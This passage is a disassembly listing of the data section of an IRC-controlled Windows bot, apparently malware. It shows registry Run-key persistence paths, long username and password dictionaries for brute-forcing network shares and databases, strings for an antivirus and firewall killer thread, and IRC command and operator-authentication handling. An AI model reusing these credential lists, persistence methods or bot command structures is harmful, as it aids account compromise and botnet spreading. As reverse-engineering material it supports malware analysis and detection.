; DATA XREF: .XComp0:off_441054o aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\Run',0 align 10h db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41D7E0+24o ; sub_41DC42+24o align 10h aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41D7E0+F7o ; sub_41DC42+F7o align 4 dd 1 dword_44121C dd 1 dd 204C5255h, 45524548h, 0 dd offset aAdministrato_1 ; "administrator" dd offset aAdministrado_0 ; "administrador" dd offset aAdministrate_0 ; "administrateur" dd offset aAdministrat_0 ; "administrat" dd offset aAdmins_0 ; "admins" dd offset aAdmin_1 ; "admin" dd offset aStaff_0 ; "staff" dd offset aRoot_1 ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent_0 ; "student" dd offset aTeacher_0 ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_1 ; "guest" dd offset aDefault_0 ; "default" dd offset aDatabase_0 ; "database" dd offset off_4415DC dd offset aOracle_0 ; "oracle" dd offset aDb2_0 ; "db2" dd 0 dd offset dword_4E15A8 dd offset aAdministrato_2 ; "administrator" dd offset aAdministrado_1 ; "administrador" dd offset aAdministrate_1 ; "administrateur" dd offset aAdministrat_1 ; "administrat" dd offset aAdmins_1 ; "admins" dd offset aAdmin_2 ; "admin" dd offset aAdm_0 ; "adm" dd offset aPassword1_0 ; "password1" dd offset aPassword_0 ; "password" dd offset aPasswd_0 ; "passwd" dd offset aPass1234_0 ; "pass1234" dd offset aPass_0 ; "pass" dd offset aPwd_0 ; "pwd" dd offset a007_0 ; "007" dd offset a1_0 ; "1" dd offset a12_0 ; "12" dd offset a123_0 ; "123" dd offset a1234_0 ; "1234" dd offset a12345_0 ; "12345" dd offset a123456_0 ; "123456" dd offset a1234567_0 ; "1234567" dd offset a12345678_0 ; "12345678" dd offset a123456789_0 ; "123456789" dd offset a1234567890_0 ; "1234567890" dd offset a2000_0 ; "2000" dd offset a2001_0 ; "2001" dd offset a2002_0 ; "2002" dd offset a2003_1 ; "2003" dd offset a2004_0 ; "2004" dd offset aTest_0 ; "test" dd offset aGuest_2 ; "guest" dd offset aNone_0 ; "none" dd offset aDemo_0 ; "demo" dd offset aUnix_0 ; "unix" dd offset aLinux_0 ; "linux" dd offset aChangeme_0 ; "changeme" dd offset aDefault_1 ; "default" dd offset aSystem_0 ; "system" dd offset aServer_5 ; "server" dd offset aRoot_2 ; "root" dd offset aNull_2 ; "null" dd offset aQwerty_0 ; "qwerty" dd offset aMail_0 ; "mail" dd offset aOutlook_0 ; "outlook" dd offset aWeb_0 ; "web" dd offset aWww_0 ; "www" dd offset aInternet_1 ; "internet" dd offset aAccounts_0 ; "accounts" dd offset aAccounting_0 ; "accounting" dd offset aHome_0 ; "home" dd offset aHomeuser_0 ; "homeuser" dd offset aUser_2 ; "user" dd offset aOem_0 ; "oem" dd offset aOemuser_0 ; "oemuser" dd offset aOeminstall_0 ; "oeminstall" dd offset aWindows_0 ; "windows" dd offset aWin98_0 ; "win98" dd offset aWin2k_0 ; "win2k" dd offset aWinxp_0 ; "winxp" dd offset aWinnt_0 ; "winnt" dd offset aWin2000_0 ; "win2000" dd offset aQaz_0 ; "qaz" dd offset aAsd_0 ; "asd" dd offset aZxc_0 ; "zxc" dd offset aQwe_0 ; "qwe" dd offset aBob_1 ; "bob" dd offset aJen_0 ; "jen" dd offset aJoe_0 ; "joe" dd offset aFred_0 ; "fred" dd offset aBill_0 ; "bill" dd offset aMike_0 ; "mike" dd offset aJohn_0 ; "john" dd offset aPeter_1 ; "peter" dd offset aLuke_0 ; "luke" dd offset aSam_0 ; "sam" dd offset aSue_0 ; "sue" dd offset aSusan_0 ; "susan" dd offset aPeter_2 ; "peter" dd offset aBrian_0 ; "brian" dd offset aLee_0 ; "lee" dd offset aNeil_0 ; "neil" dd offset aIan_0 ; "ian" dd offset aChris_0 ; "chris" dd offset aEric_0 ; "eric" dd offset aGeorge_0 ; "george" dd offset aKate_0 ; "kate" dd offset aBob_2 ; "bob" dd offset aKatie_0 ; "katie" dd offset aMary_0 ; "mary" dd offset aLogin_1 ; "login" dd offset aLoginpass_0 ; "loginpass" dd offset aTechnical_0 ; "technical" dd offset aBackup_0 ; "backup" dd offset aExchange_0 ; "exchange" dd offset aFuck_0 ; "fuck" dd offset aBitch_0 ; "bitch" dd offset aSlut_0 ; "slut" dd offset aSex_0 ; "sex" dd offset aGod_0 ; "god" dd offset aHell_0 ; "hell" dd offset aHello_0 ; "hello" dd offset aDomain_0 ; "domain" dd offset aDomainpass_0 ; "domainpass" dd offset aDomainpasswo_0 ; "domainpassword" dd offset aDatabase_1 ; "database" dd offset aAccess_0 ; "access" dd offset aDbpass_0 ; "dbpass" dd offset aDbpassword_0 ; "dbpassword" dd offset aDatabasepass_0 ; "databasepass" dd offset aData_0 ; "data" dd offset aDatabasepass_1 ; "databasepassword" dd offset aDb1_0 ; "db1" dd offset aDb2_1 ; "db2" dd offset aDb1234_0 ; "db1234" dd offset aSa_0 ; "sa" dd offset aSql_0 ; "sql" dd offset aSqlpassoains_0 ; "sqlpassoainstall" dd offset aOrainstall_0 ; "orainstall" dd offset aOracle_1 ; "oracle" dd offset aIbm_0 ; "ibm" dd offset aCisco_0 ; "cisco" dd offset aDell_0 ; "dell" dd offset aCompaq_0 ; "compaq" dd offset aSiemens_0 ; "siemens" dd offset aHp_0 ; "hp" dd offset aNokia_0 ; "nokia" dd offset aXp_0 ; "xp" dd offset aControl_0 ; "control" dd offset aOffice_0 ; "office" dd offset aBlank_0 ; "blank" dd offset aWinpass_0 ; "winpass" dd offset aMain_0 ; "main" dd offset aLan_0 ; "lan" dd offset aInternet_2 ; "internet" dd offset aIntranet_0 ; "intranet" dd offset aStudent_1 ; "student" dd offset aTeacher_1 ; "teacher" dd offset aStaff_1 ; "staff" dd 0 dword_4414AC dd 10h ; sub_417280+A5r ... dword_4414B0 dd 40h aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .XComp0:off_441160o align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .XComp0:00441164o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .XComp0:00441168o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .XComp0:0044116Co align 4 aAdministrato_1 db 'administrator',0 ; DATA XREF: .XComp0:0044122Co align 4 aAdministrado_0 db 'administrador',0 ; DATA XREF: .XComp0:00441230o align 4 aAdministrate_0 db 'administrateur',0 ; DATA XREF: .XComp0:00441234o align 4 aAdministrat_0 db 'administrat',0 ; DATA XREF: .XComp0:00441238o aAdmins_0 db 'admins',0 ; DATA XREF: .XComp0:0044123Co align 4 aAdmin_1 db 'admin',0 ; DATA XREF: .XComp0:00441240o align 10h aStaff_0 db 'staff',0 ; DATA XREF: .XComp0:00441244o align 4 aRoot_1 db 'root',0 ; DATA XREF: .XComp0:00441248o align 10h aComputer db 'computer',0 ; DATA XREF: .XComp0:0044124Co align 4 aOwner db 'owner',0 ; DATA XREF: .XComp0:00441250o align 4 aStudent_0 db 'student',0 ; DATA XREF: .XComp0:00441254o aTeacher_0 db 'teacher',0 ; DATA XREF: .XComp0:00441258o aWwwadmin db 'wwwadmin',0 ; DATA XREF: .XComp0:0044125Co align 10h aGuest_1 db 'guest',0 ; DATA XREF: .XComp0:00441260o align 4 aDefault_0 db 'default',0 ; DATA XREF: .XComp0:00441264o aDatabase_0 db 'database',0 ; DATA XREF: .XComp0:00441268o align 4 off_4415DC dd offset dword_616264 ; DATA XREF: .XComp0:0044126Co aOracle_0 db 'oracle',0 ; DATA XREF: .XComp0:00441270o align 4 aDb2_0 db 'db2',0 ; DATA XREF: .XComp0:00441274o aAdministrato_2 db 'administrator',0 ; DATA XREF: .XComp0:00441280o align 4 aAdministrado_1 db 'administrador',0 ; DATA XREF: .XComp0:00441284o align 4 aAdministrate_1 db 'administrateur',0 ; DATA XREF: .XComp0:00441288o align 4 aAdministrat_1 db 'administrat',0 ; DATA XREF: .XComp0:0044128Co aAdmins_1 db 'admins',0 ; DATA XREF: .XComp0:00441290o align 10h aAdmin_2 db 'admin',0 ; DATA XREF: .XComp0:00441294o align 4 aAdm_0 db 'adm',0 ; DATA XREF: .XComp0:00441298o aPassword1_0 db 'password1',0 ; DATA XREF: .XComp0:0044129Co align 4 aPassword_0 db 'password',0 ; DATA XREF: .XComp0:004412A0o align 4 aPasswd_0 db 'passwd',0 ; DATA XREF: .XComp0:004412A4o align 4 aPass1234_0 db 'pass1234',0 ; DATA XREF: .XComp0:004412A8o align 4 aPass_0 db 'pass',0 ; DATA XREF: .XComp0:004412ACo align 10h aPwd_0 db 'pwd',0 ; DATA XREF: .XComp0:004412B0o a007_0 db '007',0 ; DATA XREF: .XComp0:004412B4o a1_0: ; DATA XREF: .XComp0:004412B8o unicode 0, <1>,0 a12_0 db '12',0 ; DATA XREF: .XComp0:004412BCo align 10h a123_0 db '123',0 ; DATA XREF: .XComp0:004412C0o a1234_0 db '1234',0 ; DATA XREF: .XComp0:004412C4o align 4 a12345_0 db '12345',0 ; DATA XREF: .XComp0:004412C8o align 4 a123456_0 db '123456',0 ; DATA XREF: .XComp0:004412CCo align 4 a1234567_0 db '1234567',0 ; DATA XREF: .XComp0:004412D0o a12345678_0 db '12345678',0 ; DATA XREF: .XComp0:004412D4o align 10h a123456789_0 db '123456789',0 ; DATA XREF: .XComp0:004412D8o align 4 a1234567890_0 db '1234567890',0 ; DATA XREF: .XComp0:004412DCo align 4 a2000_0 db '2000',0 ; DATA XREF: .XComp0:004412E0o align 10h a2001_0 db '2001',0 ; DATA XREF: .XComp0:004412E4o align 4 a2002_0 db '2002',0 ; DATA XREF: .XComp0:004412E8o align 10h a2003_1 db '2003',0 ; DATA XREF: .XComp0:004412ECo align 4 a2004_0 db '2004',0 ; DATA XREF: .XComp0:004412F0o align 10h aTest_0 db 'test',0 ; DATA XREF: .XComp0:004412F4o align 4 aGuest_2 db 'guest',0 ; DATA XREF: .XComp0:004412F8o align 10h aNone_0 db 'none',0 ; DATA XREF: .XComp0:004412FCo align 4 aDemo_0 db 'demo',0 ; DATA XREF: .XComp0:00441300o align 10h aUnix_0 db 'unix',0 ; DATA XREF: .XComp0:00441304o align 4 aLinux_0 db 'linux',0 ; DATA XREF: .XComp0:00441308o align 10h aChangeme_0 db 'changeme',0 ; DATA XREF: .XComp0:0044130Co align 4 aDefault_1 db 'default',0 ; DATA XREF: .XComp0:00441310o aSystem_0 db 'system',0 ; DATA XREF: .XComp0:00441314o align 4 aServer_5 db 'server',0 ; DATA XREF: .XComp0:00441318o align 4 aRoot_2 db 'root',0 ; DATA XREF: .XComp0:0044131Co align 4 aNull_2 db 'null',0 ; DATA XREF: .XComp0:00441320o align 4 aQwerty_0 db 'qwerty',0 ; DATA XREF: .XComp0:00441324o align 4 aMail_0 db 'mail',0 ; DATA XREF: .XComp0:00441328o align 4 aOutlook_0 db 'outlook',0 ; DATA XREF: .XComp0:0044132Co aWeb_0 db 'web',0 ; DATA XREF: .XComp0:00441330o aWww_0 db 'www',0 ; DATA XREF: .XComp0:00441334o aInternet_1 db 'internet',0 ; DATA XREF: .XComp0:00441338o align 10h aAccounts_0 db 'accounts',0 ; DATA XREF: .XComp0:0044133Co align 4 aAccounting_0 db 'accounting',0 ; DATA XREF: .XComp0:00441340o align 4 aHome_0 db 'home',0 ; DATA XREF: .XComp0:00441344o align 10h aHomeuser_0 db 'homeuser',0 ; DATA XREF: .XComp0:00441348o align 4 aUser_2 db 'user',0 ; DATA XREF: .XComp0:0044134Co align 4 aOem_0 db 'oem',0 ; DATA XREF: .XComp0:00441350o aOemuser_0 db 'oemuser',0 ; DATA XREF: .XComp0:00441354o aOeminstall_0 db 'oeminstall',0 ; DATA XREF: .XComp0:00441358o align 4 aWindows_0 db 'windows',0 ; DATA XREF: .XComp0:0044135Co aWin98_0 db 'win98',0 ; DATA XREF: .XComp0:00441360o align 4 aWin2k_0 db 'win2k',0 ; DATA XREF: .XComp0:00441364o align 4 aWinxp_0 db 'winxp',0 ; DATA XREF: .XComp0:00441368o align 4 aWinnt_0 db 'winnt',0 ; DATA XREF: .XComp0:0044136Co align 4 aWin2000_0 db 'win2000',0 ; DATA XREF: .XComp0:00441370o aQaz_0 db 'qaz',0 ; DATA XREF: .XComp0:00441374o aAsd_0 db 'asd',0 ; DATA XREF: .XComp0:00441378o aZxc_0 db 'zxc',0 ; DATA XREF: .XComp0:0044137Co aQwe_0 db 'qwe',0 ; DATA XREF: .XComp0:00441380o aBob_1 db 'bob',0 ; DATA XREF: .XComp0:00441384o aJen_0 db 'jen',0 ; DATA XREF: .XComp0:00441388o aJoe_0 db 'joe',0 ; DATA XREF: .XComp0:0044138Co aFred_0 db 'fred',0 ; DATA XREF: .XComp0:00441390o align 10h aBill_0 db 'bill',0 ; DATA XREF: .XComp0:00441394o align 4 aMike_0 db 'mike',0 ; DATA XREF: .XComp0:00441398o align 10h aJohn_0 db 'john',0 ; DATA XREF: .XComp0:0044139Co align 4 aPeter_1 db 'peter',0 ; DATA XREF: .XComp0:004413A0o align 10h aLuke_0 db 'luke',0 ; DATA XREF: .XComp0:004413A4o align 4 aSam_0 db 'sam',0 ; DATA XREF: .XComp0:004413A8o aSue_0 db 'sue',0 ; DATA XREF: .XComp0:004413ACo aSusan_0 db 'susan',0 ; DATA XREF: .XComp0:004413B0o align 4 aPeter_2 db 'peter',0 ; DATA XREF: .XComp0:004413B4o align 10h aBrian_0 db 'brian',0 ; DATA XREF: .XComp0:004413B8o align 4 aLee_0 db 'lee',0 ; DATA XREF: .XComp0:004413BCo aNeil_0 db 'neil',0 ; DATA XREF: .XComp0:004413C0o align 4 aIan_0 db 'ian',0 ; DATA XREF: .XComp0:004413C4o aChris_0 db 'chris',0 ; DATA XREF: .XComp0:004413C8o align 10h aEric_0 db 'eric',0 ; DATA XREF: .XComp0:004413CCo align 4 aGeorge_0 db 'george',0 ; DATA XREF: .XComp0:004413D0o align 10h aKate_0 db 'kate',0 ; DATA XREF: .XComp0:004413D4o align 4 aBob_2 db 'bob',0 ; DATA XREF: .XComp0:004413D8o aKatie_0 db 'katie',0 ; DATA XREF: .XComp0:004413DCo align 4 aMary_0 db 'mary',0 ; DATA XREF: .XComp0:004413E0o align 4 aLogin_1 db 'login',0 ; DATA XREF: .XComp0:004413E4o align 4 aLoginpass_0 db 'loginpass',0 ; DATA XREF: .XComp0:004413E8o align 10h aTechnical_0 db 'technical',0 ; DATA XREF: .XComp0:004413ECo align 4 aBackup_0 db 'backup',0 ; DATA XREF: .XComp0:004413F0o align 4 aExchange_0 db 'exchange',0 ; DATA XREF: .XComp0:004413F4o align 10h aFuck_0 db 'fuck',0 ; DATA XREF: .XComp0:004413F8o align 4 aBitch_0 db 'bitch',0 ; DATA XREF: .XComp0:004413FCo align 10h aSlut_0 db 'slut',0 ; DATA XREF: .XComp0:00441400o align 4 aSex_0 db 'sex',0 ; DATA XREF: .XComp0:00441404o aGod_0 db 'god',0 ; DATA XREF: .XComp0:00441408o aHell_0 db 'hell',0 ; DATA XREF: .XComp0:0044140Co align 4 aHello_0 db 'hello',0 ; DATA XREF: .XComp0:00441410o align 10h aDomain_0 db 'domain',0 ; DATA XREF: .XComp0:00441414o align 4 aDomainpass_0 db 'domainpass',0 ; DATA XREF: .XComp0:00441418o align 4 aDomainpasswo_0 db 'domainpassword',0 ; DATA XREF: .XComp0:0044141Co align 4 aDatabase_1 db 'database',0 ; DATA XREF: .XComp0:00441420o align 10h aAccess_0 db 'access',0 ; DATA XREF: .XComp0:00441424o align 4 aDbpass_0 db 'dbpass',0 ; DATA XREF: .XComp0:00441428o align 10h aDbpassword_0 db 'dbpassword',0 ; DATA XREF: .XComp0:0044142Co align 4 aDatabasepass_0 db 'databasepass',0 ; DATA XREF: .XComp0:00441430o align 4 aData_0 db 'data',0 ; DATA XREF: .XComp0:00441434o align 4 aDatabasepass_1 db 'databasepassword',0 ; DATA XREF: .XComp0:00441438o align 4 aDb1_0 db 'db1',0 ; DATA XREF: .XComp0:0044143Co aDb2_1 db 'db2',0 ; DATA XREF: .XComp0:00441440o aDb1234_0 db 'db1234',0 ; DATA XREF: .XComp0:00441444o align 4 aSa_0 db 'sa',0 ; DATA XREF: .XComp0:00441448o align 4 aSql_0 db 'sql',0 ; DATA XREF: .XComp0:0044144Co aSqlpassoains_0 db 'sqlpassoainstall',0 ; DATA XREF: .XComp0:00441450o align 4 aOrainstall_0 db 'orainstall',0 ; DATA XREF: .XComp0:00441454o align 10h aOracle_1 db 'oracle',0 ; DATA XREF: .XComp0:00441458o align 4 aIbm_0 db 'ibm',0 ; DATA XREF: .XComp0:0044145Co aCisco_0 db 'cisco',0 ; DATA XREF: .XComp0:00441460o align 4 aDell_0 db 'dell',0 ; DATA XREF: .XComp0:00441464o align 4 aCompaq_0 db 'compaq',0 ; DATA XREF: .XComp0:00441468o align 4 aSiemens_0 db 'siemens',0 ; DATA XREF: .XComp0:0044146Co aHp_0 db 'hp',0 ; DATA XREF: .XComp0:00441470o align 10h aNokia_0 db 'nokia',0 ; DATA XREF: .XComp0:00441474o align 4 aXp_0 db 'xp',0 ; DATA XREF: .XComp0:00441478o align 4 aControl_0 db 'control',0 ; DATA XREF: .XComp0:0044147Co aOffice_0 db 'office',0 ; DATA XREF: .XComp0:00441480o align 4 aBlank_0 db 'blank',0 ; DATA XREF: .XComp0:00441484o align 4 aWinpass_0 db 'winpass',0 ; DATA XREF: .XComp0:00441488o aMain_0 db 'main',0 ; DATA XREF: .XComp0:0044148Co align 4 aLan_0 db 'lan',0 ; DATA XREF: .XComp0:00441490o aInternet_2 db 'internet',0 ; DATA XREF: .XComp0:00441494o align 4 aIntranet_0 db 'intranet',0 ; DATA XREF: .XComp0:00441498o align 10h aStudent_1 db 'student',0 ; DATA XREF: .XComp0:0044149Co aTeacher_1 db 'teacher',0 ; DATA XREF: .XComp0:004414A0o aStaff_1 db 'staff',0 ; DATA XREF: .XComp0:004414A4o align 4 aSS_6 db '%s%s',0 ; DATA XREF: sub_4016A7+155o align 10h aSS_7 db '%s\%s',0 ; DATA XREF: sub_4016A7+1E8o align 4 aSDS_0 db '%s %d "%s"',0 ; DATA XREF: sub_4016A7+319o align 4 dword_441A74 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: sub_4016A7:loc_401AB6o dd 2E646574h, 0 unk_441A90 db 2Dh ; - ; DATA XREF: sub_4016A7+456o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 unk_441AB4 db 2Dh ; - ; DATA XREF: sub_4016A7+4CAo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 4 dword_441AF4 dd 234032Dh, 6E656469h, 2036474haServerRunningO db '- Server running on Port: 113.',0 align 10h dword_441B20 dd 234032Dh, 6E656469h, 2036474haFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 unk_441B54 db 2Dh ; - ; DATA XREF: sub_401DEC+144o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401FD0+53o align 10h aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401FD0+7Fo db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 asc_441B9C db ' :',0 ; DATA XREF: sub_4021E5+9Ao align 10h asc_441BA0: ; DATA XREF: sub_4021E5+CEo unicode 0, < >,0 asc_441BA4: ; DATA XREF: sub_4021E5+109o unicode 0, < >,0 asc_441BA8: ; DATA XREF: sub_4021E5+283o unicode 0, <!>,0 aPing db 'PING',0 ; DATA XREF: sub_4021E5+29Co align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+2BCo align 10h aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+2DAo align 10h a001 db '001',0 ; DATA XREF: sub_4021E5+2F8o a005 db '005',0 ; DATA XREF: sub_4021E5+30Eo aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+321o align 4 aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+339o align 4 aJoinSS_4 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+34Fo align 4 a302 db '302',0 ; DATA XREF: sub_4021E5+377o a@: ; DATA XREF: sub_4021E5+387o unicode 0, <@>,0 a433 db '433',0 ; DATA XREF: sub_4021E5+3CEo aNickS_3 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+3FAo align 10h aKick db 'KICK',0 ; DATA XREF: sub_4021E5+464o align 4 unk_441C28 db 2Dh ; - ; DATA XREF: sub_4021E5+51Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User %s logged out.',0 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+53Do aJoinSS_0 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+57Fo align 4 aNick db 'NICK',0 ; DATA XREF: sub_4021E5+59Do align 10h aSS db ':%s%s',0 ; DATA XREF: sub_4021E5+77Bo align 4 aPart db 'PART',0 ; DATA XREF: sub_4021E5+7C5o align 10h aQuit db 'QUIT',0 ; DATA XREF: sub_4021E5+7DBo align 4 unk_441C88 db 2Dh ; - ; DATA XREF: sub_4021E5+861o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User: %s logged out.',0 align 4 aPart_0 db 'PART',0 ; DATA XREF: sub_4021E5+888o align 4 aNoticeSS_0 db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+8A7o a353 db '353',0 ; DATA XREF: sub_4021E5+8CAo unk_441CC8 db 2Dh ; - ; DATA XREF: sub_4021E5+8FDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: %s.',0 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_4021E5+917o aNotice db 'NOTICE',0 ; DATA XREF: sub_4021E5+92Do align 4 a332 db '332',0 ; DATA XREF: sub_4021E5+943o aPrivmsg_0 db 'PRIVMSG',0 ; DATA XREF: sub_4021E5+96Ao aNotice_0 db 'NOTICE',0 ; DATA XREF: sub_4021E5+980o align 4 aNotice_1 db 'NOTICE',0 ; DATA XREF: sub_4021E5+99Ao align 4 asc_441D14: ; DATA XREF: sub_4021E5:loc_402BAAo unicode 0, <#>,0 dword_441D18 dd 52455601h, 4E4F4953h, 1dword_441D24 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_4021E5+AC0o dd 0D017325h, 0Ah dword_441D40 dd 4E495001h, 47hdword_441D48 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_4021E5+B26o dd 0A0Dh dword_441D60 dd 43434401h, 0 aSend_1 db 'SEND',0 ; DATA XREF: sub_4021E5+B91o align 10h aS_27 db '%s',0 ; DATA XREF: sub_4021E5+BBFo align 4 aS_28 db '%s',0 ; DATA XREF: sub_4021E5+BE0o align 4 unk_441D78 db 2Dh ; - ; DATA XREF: sub_4021E5+C51o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 unk_441DA8 db 2Dh ; - ; DATA XREF: sub_4021E5+CE0o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToStartT db '- Failed to start transfer thread, error: <%d>.',0 align 4 unk_441DE4 db 2Dh ; - ; DATA XREF: sub_4021E5+D0Ao db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_4021E5+D40o align 10h aS db '%s',0 ; DATA XREF: sub_4021E5+D7Eo align 4 unk_441E34 db 2Dh ; - ; DATA XREF: sub_4021E5+DE8o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 4 unk_441E54 db 2Dh ; - ; DATA XREF: sub_4021E5+E77o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToStartC db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_441E8C db 2Dh ; - ; DATA XREF: sub_4021E5+E94o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_441EBC db 2Dh ; - ; DATA XREF: sub_4021E5+EB1o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 10h aLogin db 'login',0 ; DATA XREF: sub_4021E5+F27o align 4 asc_441EF8: ; DATA XREF: sub_4021E5+F44o unicode 0, <l>,0 asc_441EFC: ; DATA XREF: sub_4021E5:loc_40315Eo unicode 0, <!>,0 asc_441F00: ; DATA XREF: sub_4021E5+FA6o unicode 0, <~>,0 aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+FEFo align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+1006o align 4 unk_441F58 db 2Dh ; - ; DATA XREF: sub_4021E5+1022o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+10BAo align 4 aNoticeSYourA_0 db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+10D1o align 4 unk_441FD8 db 2Dh ; - ; DATA XREF: sub_4021E5+10EDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 4 unk_442004 db 2Dh ; - ; DATA XREF: sub_4021E5+11B2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_442024 db 2Dh ; - ; DATA XREF: sub_4021E5+11CFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 a332_1 db '332',0 ; DATA XREF: sub_4021E5+11F9o asc_442048 db ' :',0 ; DATA XREF: sub_4021E5+126Do align 4 aD db '$%d-',0 ; DATA XREF: sub_4021E5+1306o align 4 aD_0 db '$%d',0 ; DATA XREF: sub_4021E5+143Co aMe db '$me',0 ; DATA XREF: sub_4021E5+14E1o aUser_3 db '$user',0 ; DATA XREF: sub_4021E5+14F8o align 4 aChan db '$chan',0 ; DATA XREF: sub_4021E5+150Eo align 4 aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_4021E5+1534o align 4 aServer_6 db '$server',0 ; DATA XREF: sub_4021E5+1547o aChr db '$chr(',0 ; DATA XREF: sub_4021E5:loc_40373Co align 4 aChr_0 db '$chr(',0 ; DATA XREF: sub_4021E5+156Eo align 10h asc_442090: ; DATA XREF: sub_4021E5+159Eo unicode 0, <)>,0 a63 db '63',0 ; DATA XREF: sub_4021E5+15CBo align 4 asc_442098: ; DATA XREF: sub_4021E5+16B5o unicode 0, < >,0 asc_44209C: ; DATA XREF: sub_4021E5+16F0o unicode 0, < >,0 aRndnick db 'rndnick',0 ; DATA XREF: sub_4021E5+174Fo aRn db 'rn',0 ; DATA XREF: sub_4021E5+176Co align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5:loc_403992o align 4 unk_4420B8 db 2Dh ; - ; DATA XREF: sub_4021E5:loc_4039A6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 4 aDie db 'die',0 ; DATA XREF: sub_4021E5+17E2o aD_1: ; DATA XREF: sub_4021E5+17FFo unicode 0, <d>,0 a332_2 db '332',0 ; DATA XREF: sub_4021E5+1815o aLogout db 'logout',0 ; DATA XREF: sub_4021E5+1844o align 10h aLo db 'lo',0 ; DATA XREF: sub_4021E5+1861o align 4 unk_4420F4 db 2Dh ; - ; DATA XREF: sub_4021E5+18D9o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_1 db 'User %s logged out.',0 unk_442114 db 2Dh ; - ; DATA XREF: sub_4021E5+1905o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: 